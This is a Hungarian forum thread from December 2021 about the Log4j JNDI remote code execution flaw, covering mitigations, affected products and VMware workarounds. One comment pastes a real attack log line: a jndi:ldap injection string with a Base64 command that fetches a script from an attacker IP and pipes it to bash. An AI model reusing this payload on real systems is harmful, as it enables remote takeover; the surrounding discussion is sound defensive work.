Apache Log4j 2.x <= 2.14.1 távoli kódfuttatást lehetővé tevő sebezhetőség

Apache

Kritikus sebezhetőséget fedeztek fel az Apache Log4j 2-ben:

What are the Technical Details?

Apache Log4j2 versions 2.14.1 and below Java Naming and Directory Interface (JNDI) features do not protect against attacker controlled LDAP and other JNDI related endpoints. A remote code execution vulnerability exists where attacker controlled log messages or log message parameters are able to execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.

What Versions of Software are Affected?

Apache Log4J versions 2.0-beta9 to 2.14.1 are affected.<(p>

Is there a Patch or Security Update Available?

Yes, moving to version 2.15.0 mitigates this issue. Further mitigation steps are available from Apache as well. Please refer to the "Apache Log4j Security Vulnerabilities" in the APPENDIX for details.

What is the CVSS Score?

10 (CRITICAL)

     

[...]

( sibike | 2021. 12. 12., v – 11:24 )

Jol olvasom, hogy java 8u121 felett nem kihasznalhato?

Lehet, hogy nem nagy a probléma, csak jó a marketingje. Ez azért eléggé beszédesnek tűnik:

http://github.com/YfryTchsGD/Log4jAttackSurface

KAMI | 神
Linux Mint: https://linuxmint.hu LibreOffice: http://libreoffice.hu SeaMonkey : http://is.gd/smhun
Legyél Te is Mozilla és Linux Mint önkéntes

Ha jól értem, ez a meglévő licence-eket vizsgálta, hogy az adott gyártó termékében fel van-e sorolva, nem pedig a tényleges sérülékenységet nézte. Van olyan általunk is használt cucc a listában, amelynél a gyártó már közzétette, hogy nincs érintettsége.

Tudom, hazudni is bárki tud, viszont ha egy kiadott SA ellenére mégis kiderül, hogy sebezhető, akkor azzal sokkal nagyobbat bukik.

Rosszul érted szerintem, itt az látható, hogy a megfelelő stringet/queryt beszuszakolják valamilyen webes formon keresztül (jellemzően a login textboxban), és figyelik, hogy érkezik e a megadott egyedi hostnevet tartalmazó URL-re DNS query. Ha érkezik, akkor az azt jelenti, hogy valahol a log4j megpróbálta letölteni kártékony alkalmazást. Erre írtam, hogy ez még szerencsére sok esetben nem jelenti azt, hogy sikerülne is neki, mert jó esetben csak a rekurzív névfeloldás volt neki engedve. De persze ez is elég hajmeresztő, hogy csak ennyi választotta el attól pl. az iCloudot hogy lefutasson egy bármit :)

Amúgy megkattintottad az említett gyártót a listában? Elvileg ha érintett, akkor van ott screenshot a fentiekre bizonyítékként. Persze mindenki olyan screenshotot rak össze amit akar, ezt is tudjuk...

Szerk.: bocsi, most látom, hogy van amelyiknél az van amit írsz (csak licenceket keresgéltek), vélhetően pont ilyet néztél.

( _Franko_ v | 2021. 12. 12., v – 15:40 )

A gyorsjavítás egyik módja az, hogy élő rendszeren el kell távolítani a JndiLookup.class fájlt (.jar fájlokban is keresni kell) és újraindítani a szolgáltatást, feltéve, hogy nem használjuk aktívan azt a feature-t, ami most problémás.

https://iotguru.cloud

Nem vagyok biztos benne, hogy csak a JNDI érintett a Lookup-on belül.

Nem feltétlen kell neked biztosnak lenned benne, ez a hivatalos quick workaround.

Ebben az esetben a Lookup-ot kell kikapcsolni: LOG4J_FORMAT_MSG_NO_LOOKUPS=true

Ez a 2.10-2.14.x közötti release esetén létezik, ahogy a többi paraméter is, amivel befolyásolható, a 2.10 alatti verzióknál egy ilyen tanács a hamis biztonságérzetet jelenti, megoldást nem.

Bővebben: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228

https://iotguru.cloud

Elvileg 2.7 - 2.14.1 között lehetőség van log4j config fájllal is kezelni message converter segítségével azaz nolookups -al kikapcsolni.

For releases >=2.7 and <=2.14.1, all PatternLayout patterns can be modified to specify the message converter as %m{nolookups} instead of just %m

Forrás: https://logging.apache.org/log4j/2.x/security.html

A class törlés éles rendszeren azért elég veszélyes tud lenni, mert ha valami ráfut és nincs megfelelő exception kezelés az alkalmazás elérhetetlenségét is okozhatja...

Spring Boot-ot alapból nem érint (azaz csak a log4j-api vagy log4j-to-slf4j), de ha valaki függőségként berántja akkor már ott lesz...

Forrás: https://spring.io/blog/2021/12/10/log4j2-vulnerability-and-spring-boot

 

Persze a hangsúly a jelenlegen van, hisz bármikor változhat a helyzet...

https://blog.qualys.com/vulnerabilities-threat-research/2021/12/10/apac…

A log4j-api ill. a log4j-to-slf4j nem erintett, az egyik csak a log4j2 interface a masik ahhoz kell, hogy a log4j2-t hasznalo library-k log eventjeit attolja slf4j-nek. Ahhoz, hogy a Spring Boot appod vulnerable legyen nem eleg csak behuzni a log4j-core-t, exclude-olnod kell a spring-boot-starter-logging-ot es be kell huznod a spring-boot-starter-log4j2 ahhoz hogy a log4j2 legyen autoconfigolva.

A rend kedveert az oszes jelenleg tamogatott minor verziot updateltuk, a kovetkezo patch release mar a megpatkolt log4j2-vel megy ki (a Spring Boot es a Micrometer biztosan).

https://develotters.com

( sabe v | 2021. 12. 12., v – 17:31 )

ha jol ertem a logba lehet uzenetet juttatni, amit parsol a log4j es vegrehajthatja? 

Majdnem. Van olyan feature benne, hogy meg lehet mondani, hogy honnan töltse le a Java osztályt, aminek a toString metódust meghívja, amikor ír a logba és alapból nem volt korlátozva, hogy ezt honnan tudja megtenni, szóval egy jól irányzott paraméterrel meg lehet mondani, hogy töltsön le egy Java osztályt valahonnan a támadó szerveréről és azt futtassa azon a gépen, ahol a log íródik.

Nyilván volt értelme ennek, a javítás jelenleg annyi, hogy a "honnan" az alapból most csak localhost lehet és ha ez nem jó, akkor explicit meg lehet adni plusz címeket, ami engedélyezett.

https://iotguru.cloud

( suckit | 2021. 12. 12., v – 21:30 )

Azért az szánalmas, hogy ezt a HVG-ről tudtam meg...

Semmit nem szeretnék jelezni. A hup-ot mint hobbista, szakmai forumként követem, más oldalakat meg aktuálpolitikai témák miatt, megint másokat sport miatt, megint másokat világpolitika miatt, stb. Nem mindig azt kapom az adott fórumon, amiért követem, de hát ez már csak ilyen. Semmilyen kötelességed nincs felém, nem is várok el semmit, nem érdekel hogy mit szarsz le, bár érdekes a kirohanásod:

Le se szarom, hogy honnan tájékozódtok.

nem sokkal ez után:

Milyen szakmai forrásokat követsz még a HVG-n (rotflamo) kívül?

Mindegy, azt hiszem a közönséged elfogadott ilyennek amilyen vagy. Csillapodj le, nem kell ugrani. Béke van. Mielőbbi gyógyulást kívánok neked, nektek.

Mi a lényeg? Mert látom, írni szeretsz ... :D

A szarkasztikus kérdés költői volt. Az azt jelenti, hogy választ nem várok rá. HTH

Cikken 1949 megtekintés. Azt hiszem, messze túlteljesítettem a vele kapcsolatos elvárásaimat.

trey @ gépház

( zrubi v | 2021. 12. 13., h – 08:35 )

do not protect against attacker controlled LDAP

ezesetben én biztosan nem a log4j miatt aggódnék ;)

zrubi.hu

( _Franko_ v | 2021. 12. 14., k – 10:51 )

Hát, nekem már kezd felgyűlni a log-ban (amit nem Log4J ír):

45.155.205.233 - - [12/Dec/2021:05:19:58 +0000] "GET /?x=${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8xNzMuMjQ5LjAuMTk1OjgwfHx3Z2V0IC1xIC1PLSA0NS4xNTUuMjA1LjIzMzo1ODc0LzE3My4yNDkuMC4xOTU6ODApfGJhc2g=} HTTP/1.1" 200 112

https://iotguru.cloud

Az Elasticsearch érintett lehet: "Supported versions of Elasticsearch (6.8.9+, 7.8+) used with recent versions of the JDK (JDK9+) are not susceptible to either remote code execution or information leakage. This is due to Elasticsearch’s usage of the Java Security Manager. Most other versions (5.6.11+, 6.4.0+ and 7.0.0+) can be protected via a simple JVM property change. The information leak vulnerability does not permit access to data within the Elasticsearch cluster. We have released Elasticsearch 7.16.1 and 6.8.21 which contain the JVM property by default and remove certain components of Log4j out of an abundance of caution."

https://iotguru.cloud

Ezek azt feltetelezik, hogy valamilyen felhasznalotol jovo adat valahol kimegy logba.
Pl.: login errorkor a username, akamilyen field erteke, http header, barmi ami a droton kintrol jon. Lehet hogy 5 webservice-szel kesobb de ha az kilogolja akkor gond lehet.
 

https://develotters.com

Van már "patch" is, egy script formájában, a benne levő dolgok manuális elvégzésére meg már szombaton is volt KB. De mivel nem a VUM-ból jön, ezért workaround a neve (meg hát az is, főleg a manuális változat). A patch sem fog egyébként mást csinálni nagyon, csak kikapcsolja a releváns funkciót.

Egyetértek. Annyiból örültem neki, hogy ha nagyon meg akartam oldani, akkor meg tudtam oldani, és ezt meg is tettem még szombaton több ügyfélnél. Itt jól jött, hogy le tudtuk reportolni linkekkel az állásfoglalást és a megoldást (workaroundot), illetve annak az implementálást is, egészen gyorsan és a többi gyártóhoz képest korán. De pl. a HPE esetén még hétfőn is "under investigation" volt a mondás, az jobban zavart, mint a nem annyira szép/kényelmes VMware workaround.

Meg tudtad workaround-olni a szombati ismeretek szerinti sérülékenységet a VMware szakembereinek szombati ismeretei alapján. Ma meg szerda van és korántsem biztos, hogy azok az ismeretek elégségesek voltak.

Sajnos az elmúlt idők tapasztalatai alapján az ilyen workaroundok van, hogy több problémát okoznak, mint amennyit megoldanak. Éles rendszereken az ilyen kísérletezgetések nem igazén szerencsések. Lásd még:

https://hup.hu/comment/2714396#comment-2714396

trey @ gépház

A probléma adott és valós, viszont ettől még nem igazán érzem az eltérést az ugyanazon gyártó ugyanazon embereitől származó workarund, és egy pontosan ugyanezt csináló patch között, ami verziószámot növel és update managerrel lehet feltenni. Másrészt belenéztél hogy mit csinál? Ez egy log4j config sor csak, ami kikapcsolja a problémás funkciót. A patch mitől csinálna mást, főleg hogy ugyanazok az emberek fogják fejleszteni? Vagy úgy gondolod, hogy van a vmwarenel a balfasz csapat, aki workaroundot ír, meg a profi aki patchet? Végül is valamekkora esély van rá, de kb. ugyanakkora mint arra, hogy a patch basszon el valamit.

Az tény persze, hogy a patch egy kényelmesebb, elegánsabb megoldás, de ha ilyen jött volna szombaton, azzal mivel lettünk volna előrébb a linkelt második probléma kapcsán?

Én nem szeretnék találgatni, patcheket elemezgetni stb. mert nem ez a dolgom. Ha ilyesmiket vállalnék, akkor a következő mi lenne? Írjam meg én a patchet?

Erre a script-re gondolsz egyébként?

https://kb.vmware.com/s/article/87088

Script:

https://kb.vmware.com/sfc/servlet.shepherd/version/download/0685G00000c…

trey @ gépház

Nem biztos hogy tudlak követni, én csak erre reagáltam: "Sajnos az elmúlt idők tapasztalatai alapján az ilyen workaroundok van, hogy több problémát okoznak, mint amennyit megoldanak. Éles rendszereken az ilyen kísérletezgetések nem igazén szerencsések."

Ha nem akarod nézegetni, hát ne nézegesd, se a patchet, se a workaroudnot, mindegyik ugyanonnét származik, a patch sem fog mást csinálni.

Egyébként igen, ez az a script, de javaslom inkább a manuális KB-t megnézni, abban jobban látszik hogy mit csinál: 

https://kb.vmware.com/s/article/87081?lang=en_US#vCenter7.0

Azért egy vSphere admin ennél bonyolultabb dolgokat is szokott csinálni nagyritkán egy vCenterrel, teljesen hivatalosan, üzemszerűen.

Nem mondod. Szerintem 10+ éve adminolok vCentereket. Nekem ez továbbra is tákolgatás.

Feltettem én is, jobbat nem tudok tenni. Kíváncsi leszek, mikor jön a legközelebbi. Meg ez mit breakel a jövőben.

Fingers crossed.

Apropó, tudom, hogy olyat már senki sem használ, de 6.0-s vCenter érintett? A doksik nem beszélnek róla.

Közben meglett. Még nagyobb gányolás.

trey @ gépház

Én még akkor kezdtem amikor nem volt esxi (2006). Amit tenni kell, az kb. molyfing: "formatMsgNoLookups=true" a log4j-n. Megismerve a log4j működését az elmúlt napokban, és ezáltal hogy mit konfigurálsz vele, nyugodt szívvel beállítható. Azért ekkora a script, meg azért ilyen hosszú a kb, mert több féle vCenter verzió több log4j-t használó szolgáltatásán is be  kell konfigurálni a fentit.

Másrészt eddig hogy csináltad ezeket, hogy ez most ennyire zavar/meglep? Az elmúlt 2-3 évben legalább 3db ugyanennyire kritikus vCenter/esxi vulnerability volt, mindegyiknél workaroundot kaptál csak, hetekkel később jött patch. Régebbről sem rémlik egyébként ettől eltérő menetrend, de aztán lehet hogy volt, ennyire nem tartom számon. Az biztos, hogy többször implementáltam vCentereken az elmúlt 10 évben hivatalos workaroundöket vulnerabilityk miatt.

Másrészt eddig hogy csináltad ezeket, hogy ez most ennyire zavar/meglep?

Honnan veszed, hogy ez most lep meg? Mert most tettem szóvá itt nyilvánosan?

Azért ekkora a script, meg azért ilyen hosszú a kb, mert több féle vCenter verzió több log4j-t használó szolgáltatásán is be  kell konfigurálni a fentit.

Jaja, de azért egy 6.0 check már nem fért bele az indiai lófaszjancsinak. Mindegy, megtaláltam a releváns infókat:

https://kb.vmware.com/s/article/87081 -> https://kb.vmware.com/s/article/87081#vCenter60

Note: vCenter Server Appliance versions 6.0GA - 6.0U3i are not vulnerable.

Build numbers:

https://kb.vmware.com/s/article/2143838

Ilyet már senki sem használ:

vCenter Server Appliance 6.0 Update 2 2016-03-15     3634794

Nem sebezhető.

Elve már az is elég aggasztó, hogy úgy kell mindenféle KB article-kból összekukázni az infókat. Annyi pénzért, amibe ezek kerülnek, nem ezt várná az ember.

trey @ gépház

( Dolphy | 2021. 12. 15., sze – 12:29 )

hajbazer véleménye érdekelne engem elsősorban erről a sebezhetőségről

A log4j a babzsákfejlesztők eszköze, amivel elismerik, hogy az összetákolt szoftvereik tele vannak hibákkal. Egy jól megírt alkalmazásban nincs hiba, ezért nem is kell logolnia soha semmit. Amúgy is csak bloatware Java alkalmazásokban használható, egy igazi alkalmazás C-ben van írva és assembly betétekkel van optimizálva. Arról már nem is beszélve, hogy egy valamire való programozó elolvassa a függőségei forrását és kiszúrja benne a sebezhetőségeket, mielőtt beépíteni a szoftverébe.

Egyébként mit kell fejleszteni egy babzsákon?